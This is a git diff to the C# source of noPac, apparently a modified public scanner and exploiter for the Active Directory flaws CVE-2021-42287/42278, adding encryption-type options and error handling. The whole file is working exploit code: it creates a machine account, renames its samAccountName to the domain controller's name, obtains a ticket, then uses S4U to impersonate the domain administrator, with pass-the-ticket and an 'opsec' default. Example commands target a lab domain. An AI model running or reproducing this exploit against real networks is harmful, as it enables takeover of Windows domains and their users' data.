diff --git a/noPac/Program.cs b/noPac/Program.cs index a59187f..8066856 100644 --- a/noPac/Program.cs +++ b/noPac/Program.cs @@ -1,4 +1,4 @@ -using Rubeus; +using Rubeus; using System; using System.Collections.Generic; using System.DirectoryServices; @@ -12,8 +12,210 @@ namespace noPac { - internal class Program + public class Program { + public static void Main(string[] args) + { + string argDomainUser = ""; + string argDomainUserPassword = ""; + + string argContainer = "COMPUTERS"; + string argDistinguishedName = ""; + string argDomain = ""; + string argDomainController = ""; + string argTargetSPN = ""; + string argService = "LDAP"; + string argImpersonate = "administrator"; + bool argPTT = false; + + string argMachineAccount = ""; + string argMachinePassword = ""; + + string argEncType = ""; + Interop.KERB_ETYPE EncType = Interop.KERB_ETYPE.subkey_keymaterial; + + bool argRandom = false; + bool argVerbose = true; + Rubeus.lib.Interop.LUID luid = new Rubeus.lib.Interop.LUID(); + + if (args == null || !args.Any()) + { + PrintHelp(); + return; + } + + foreach (var entry in args.Select((value, index) => new { index, value })) + { + string argument = entry.value.ToUpper(); + + switch (argument) + { + case "-DOMAIN": + case "/DOMAIN": + argDomain = args[entry.index + 1]; + break; + + case "-USER": + case "/USER": + argDomainUser = args[entry.index + 1]; + break; + + case "-PASS": + case "/PASS": + argDomainUserPassword = args[entry.index + 1]; + break; + case "-DC": + case "/DC": + argDomainController = args[entry.index + 1]; + break; + case "-MACCOUNT": + case "/MACCOUNT": + argMachineAccount = args[entry.index + 1]; + break; + case "-MPASSWORD": + case "/MPASSWORD": + argMachinePassword = args[entry.index + 1]; + break; + case "-SERVICE": + case "/SERVICE": + argService = args[entry.index + 1]; + break; + case "-IMPERSONATE": + case "/IMPERSONATE": + argImpersonate = args[entry.index + 1]; + break; + case "-ENCTYPE": + case "/ENCTYPE": + argEncType = args[entry.index + 1]; + break; + case "-PTT": + case "/PTT": + argPTT = true; + break; + } + } + + + // encryption types + EncType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; //default when no /ENCTYPE is specified + + string salt = String.Format("{0}{1}", argDomain.ToUpper(), argDomainUser); + + string argEncTypeString = argEncType.ToUpper(); + + if (argEncTypeString.Equals("DES")) + { + EncType = Interop.KERB_ETYPE.des_cbc_md5; + } + else if (argEncTypeString.Equals("RC4")) + { + EncType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (argEncTypeString.Equals("AES128")) + { + EncType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (argEncTypeString.Equals("AES256")) + { + EncType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + else + { + argEncTypeString = "AES256 (default when no /enctype is specified and for better opsec)"; + } + + Console.WriteLine("[+] Domain: {0}", argDomain); + Console.WriteLine("[+] User account: {0}", argDomainUser); + Console.WriteLine("[+] Encryption type: {0}", argEncTypeString); + + NetworkCredential credential = new NetworkCredential(argDomainUser, argDomainUserPassword, argDomain); + string machineAccountPasswordHash = Crypto.KerberosPasswordHash(EncType, argMachinePassword); + string domainUserPasswordHash = Crypto.KerberosPasswordHash(EncType, argDomainUserPassword, salt); + + if (args.Length >= 1) + { + if (args[0] == "scan") + { + if(string.IsNullOrEmpty(argDomain) || string.IsNullOrEmpty(argDomainUser) || string.IsNullOrEmpty(argDomainUserPassword)) + { + //Console.WriteLine("[-] /domain /user /pass argument needed for scanning"); + PrintHelp(); + return; + } + + scan(argDomain, argDomainUser, argDomainUserPassword, domainUserPasswordHash, argDomainController, EncType); + return; + } + if (string.IsNullOrEmpty(argDomainController) || string.IsNullOrEmpty(argMachineAccount) || string.IsNullOrEmpty(argMachinePassword)) + { + //Console.WriteLine("[-] /dc /mAccount /mPassword argument needed for exploitation"); + PrintHelp(); + return; + } + + argTargetSPN = $"{argService}/{argDomainController}"; + if(String.IsNullOrEmpty(argDomain)) + argDomain = String.Join(".", argDomainController.Split('.').Skip(1).ToArray()); + } + + //new machine account + try + { + NewMachineAccount(argContainer, argDistinguishedName, argDomain, argDomainController, argMachineAccount, argMachinePassword, argVerbose, argRandom, credential); + } catch (DirectoryOperationException e) + { + //so we can rerun the tool using the same machine account or reuse machine account + if (!e.Message.Contains("The object exists")) + { + Console.WriteLine("[-] Failed to create machine account"); + return; + } + } + + //clean spn + SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "serviceprincipalname", argMachineAccount, "", false, true, argVerbose, credential); + + //set samaccountname + SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "samaccountname", argMachineAccount, argDomainController.Split('.')[0], false, false, argVerbose, credential); + + //ask tgt + byte[] ticket = Ask.TGT(argDomainController.Split('.')[0], argDomain, machineAccountPasswordHash, EncType, "", false, argDomainController, luid, false, false, "", false, true); + if (ticket.Length > 0) + { + Console.WriteLine("[+] Got TGT for {0}", argDomainController); + //Console.WriteLine(Convert.ToBase64String(ticket)); + } + else + { + Console.WriteLine("[-] Could not get TGT for {0}", argDomainController); + return; + } + + //undo samaccountname change + SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "samaccountname", argMachineAccount, argMachineAccount, false, false, argVerbose, credential); + + //s4u + KRB_CRED kirbi = new KRB_CRED(ticket); + S4U.Execute(kirbi, argImpersonate, "", "", argPTT, argDomainController, argTargetSPN, null, "", "", true, false, false, machineAccountPasswordHash, EncType, argDomain, ""); + } + + private static void PrintHelp() + { + Console.WriteLine(); + Console.WriteLine("CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter"); + Console.WriteLine("Author @Cube0x0"); + Console.WriteLine("Modified by Vibrio"); + Console.WriteLine(); + Console.WriteLine("/domain /user /pass argument needed for scanning"); + Console.WriteLine("/dc /mAccount /nPassword argument needed for exploitation"); + Console.WriteLine(); + Console.WriteLine("Examples:"); + Console.WriteLine("noPac.exe scan -domain htb.local -user domain_user -pass 'Password123!' /enctype aes128"); + Console.WriteLine("noPac.exe -dc dc02.htb.local -mAccount demo -mPassword 'Password123!' /enctype aes256"); + Console.WriteLine("noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo /mPassword Password123!"); + Console.WriteLine("noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt"); + } + public static string GetMAQDistinguishedName(string node, string container, string distinguishedName, string domain, bool verbose) { string[] domainComponent; @@ -253,16 +455,21 @@ public static Dictionary getDCs(string domain, string username, { endpoint = domainController; } - DirectoryEntry directoryEntry = new DirectoryEntry(String.Concat("LDAP://", endpoint), username, password); - DirectorySearcher searcher = new DirectorySearcher(directoryEntry); - searcher.Filter = "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))"; - searcher.PropertiesToLoad.AddRange(new string[] { "dnshostname", "Ipv4address" }); - foreach (SearchResult result in searcher.FindAll()) - { - DirectoryEntry entry = result.GetDirectoryEntry(); - //Console.WriteLine("dnshostname: " + entry.Properties["dnshostname"].Value); - //Console.WriteLine("IPv4Address: " + entry.Properties["IPv4Address"].Value); - list.Add(entry.Properties["dnshostname"].Value.ToString(), ""); + + try { + DirectoryEntry directoryEntry = new DirectoryEntry(String.Concat("LDAP://", endpoint), username, password); + DirectorySearcher searcher = new DirectorySearcher(directoryEntry); + searcher.Filter = "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))"; + searcher.PropertiesToLoad.AddRange(new string[] { "dnshostname", "Ipv4address" }); + foreach (SearchResult result in searcher.FindAll()) + { + DirectoryEntry entry = result.GetDirectoryEntry(); + //Console.WriteLine("dnshostname: " + entry.Properties["dnshostname"].Value); + //Console.WriteLine("IPv4Address: " + entry.Properties["IPv4Address"].Value); + list.Add(entry.Properties["dnshostname"].Value.ToString(), ""); + } + } catch { + Console.WriteLine("[!] LDAP bind to {0} failed. User {1} or its password is incorrect/locked/expired", domain, username); } return list; } @@ -280,7 +487,7 @@ public static Dictionary getDCs() return list; } - public static void scan(string domain, string username, string password, string passwordHash, string domainController) + public static void scan(string domain, string username, string password, string passwordHash, string domainController, Interop.KERB_ETYPE EncType) { Dictionary DCs = new Dictionary(); DCs = getDCs(domain, username, password, domainController); @@ -291,7 +498,7 @@ public static void scan(string domain, string username, string password, string try { Rubeus.lib.Interop.LUID luid = new Rubeus.lib.Interop.LUID(); - byte[] ticket = Ask.TGT(username, domain, passwordHash, Interop.KERB_ETYPE.rc4_hmac, "", false, dc.Key, luid, false, false, "", false, false); + byte[] ticket = Ask.TGT(username, domain, passwordHash, EncType, "", false, dc.Key, luid, false, false, "", false, false); if (ticket.Length > 0) { Console.WriteLine("[+] Got TGT from {0}. Ticket size: {1}", dc.Key, ticket.Length); @@ -309,157 +516,5 @@ public static void scan(string domain, string username, string password, string } } - - static void Main(string[] args) - { - string argDomainUser = ""; - string argDomainUserPassword = ""; - - string argContainer = "COMPUTERS"; - string argDistinguishedName = ""; - string argDomain = ""; - string argDomainController = ""; - string argTargetSPN = ""; - string argService = "LDAP"; - string argImpersonate = "administrator"; - bool argPTT = false; - - //machine account - string argMachineAccount = ""; - string argMachinePassword = ""; - - bool argRandom = false; - bool argVerbose = true; - Rubeus.lib.Interop.LUID luid = new Rubeus.lib.Interop.LUID(); - - if (args == null || !args.Any()) - { - Console.WriteLine(); - Console.WriteLine("CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter"); - Console.WriteLine("By @Cube0x0"); - Console.WriteLine(); - Console.WriteLine("/domain /user /pass argument needed for scanning"); - Console.WriteLine("/dc /mAccount /nPassword argument needed for exploitation"); - Console.WriteLine(); - Console.WriteLine("Examples:"); - Console.WriteLine(" noPac.exe scan -domain htb.local -user domain_user -pass 'Password123!'"); - Console.WriteLine(" noPac.exe -dc dc02.htb.local -mAccount demo -mPassword Password123!"); - Console.WriteLine(" noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo /mPassword Password123!"); - Console.WriteLine(" noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt"); - return; - } - - foreach (var entry in args.Select((value, index) => new { index, value })) - { - string argument = entry.value.ToUpper(); - - switch (argument) - { - case "-DOMAIN": - case "/DOMAIN": - argDomain = args[entry.index + 1]; - break; - - case "-USER": - case "/USER": - argDomainUser = args[entry.index + 1]; - break; - - case "-PASS": - case "/PASS": - argDomainUserPassword = args[entry.index + 1]; - break; - case "-DC": - case "/DC": - argDomainController = args[entry.index + 1]; - break; - case "-MACCOUNT": - case "/MACCOUNT": - argMachineAccount = args[entry.index + 1]; - break; - case "-MPASSWORD": - case "/MPASSWORD": - argMachinePassword = args[entry.index + 1]; - break; - case "-SERVICE": - case "/SERVICE": - argService = args[entry.index + 1]; - break; - case "-IMPERSONATE": - case "/IMPERSONATE": - argImpersonate = args[entry.index + 1]; - break; - case "-PTT": - case "/PTT": - argPTT = true; - break; - } - } - NetworkCredential credential = new NetworkCredential(argDomainUser, argDomainUserPassword, argDomain); - string machineAccountPasswordHash = Crypto.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, argMachinePassword); - string domainUserPasswordHash = Crypto.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, argDomainUserPassword); - if (args.Length >= 1) - { - if (args[0] == "scan") - { - if(string.IsNullOrEmpty(argDomain) || string.IsNullOrEmpty(argDomainUser) || string.IsNullOrEmpty(argDomainUserPassword)) - { - Console.WriteLine("[-] /domain /user /pass argument needed for scanning"); - return; - } - scan(argDomain, argDomainUser, argDomainUserPassword, domainUserPasswordHash, argDomainController); - return; - } - if (string.IsNullOrEmpty(argDomainController) || string.IsNullOrEmpty(argMachineAccount) || string.IsNullOrEmpty(argMachinePassword)) - { - Console.WriteLine("[-] /dc /mAccount /mPassword argument needed for exploitation"); - return; - } - - argTargetSPN = $"{argService}/{argDomainController}"; - if(String.IsNullOrEmpty(argDomain)) - argDomain = String.Join(".", argDomainController.Split('.').Skip(1).ToArray()); - } - - //new machine account - try - { - NewMachineAccount(argContainer, argDistinguishedName, argDomain, argDomainController, argMachineAccount, argMachinePassword, argVerbose, argRandom, credential); - } catch (DirectoryOperationException e) - { - //so we can rerun the tool using the same machine account or reuse machine account - if (!e.Message.Contains("The object exists")) - { - Console.WriteLine("[-] Failed to create machine account"); - return; - } - } - - //clean spn - SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "serviceprincipalname", argMachineAccount, "", false, true, argVerbose, credential); - - //set samaccountname - SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "samaccountname", argMachineAccount, argDomainController.Split('.')[0], false, false, argVerbose, credential); - - //ask tgt - byte[] ticket = Ask.TGT(argDomainController.Split('.')[0], argDomain, machineAccountPasswordHash, Interop.KERB_ETYPE.rc4_hmac, "", false, argDomainController, luid, false, false, "", false, true); - if (ticket.Length > 0) - { - Console.WriteLine("[+] Got TGT for {0}", argDomainController); - //Console.WriteLine(Convert.ToBase64String(ticket)); - } - else - { - Console.WriteLine("[-] Could not get TGT for {0}", argDomainController); - return; - } - - //undo samaccountname change - SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "samaccountname", argMachineAccount, argMachineAccount, false, false, argVerbose, credential); - - //s4u - KRB_CRED kirbi = new KRB_CRED(ticket); - S4U.Execute(kirbi, argImpersonate, "", "", argPTT, argDomainController, argTargetSPN, null, "", "", true, false, false, machineAccountPasswordHash, Interop.KERB_ETYPE.rc4_hmac, argDomain, ""); - } } }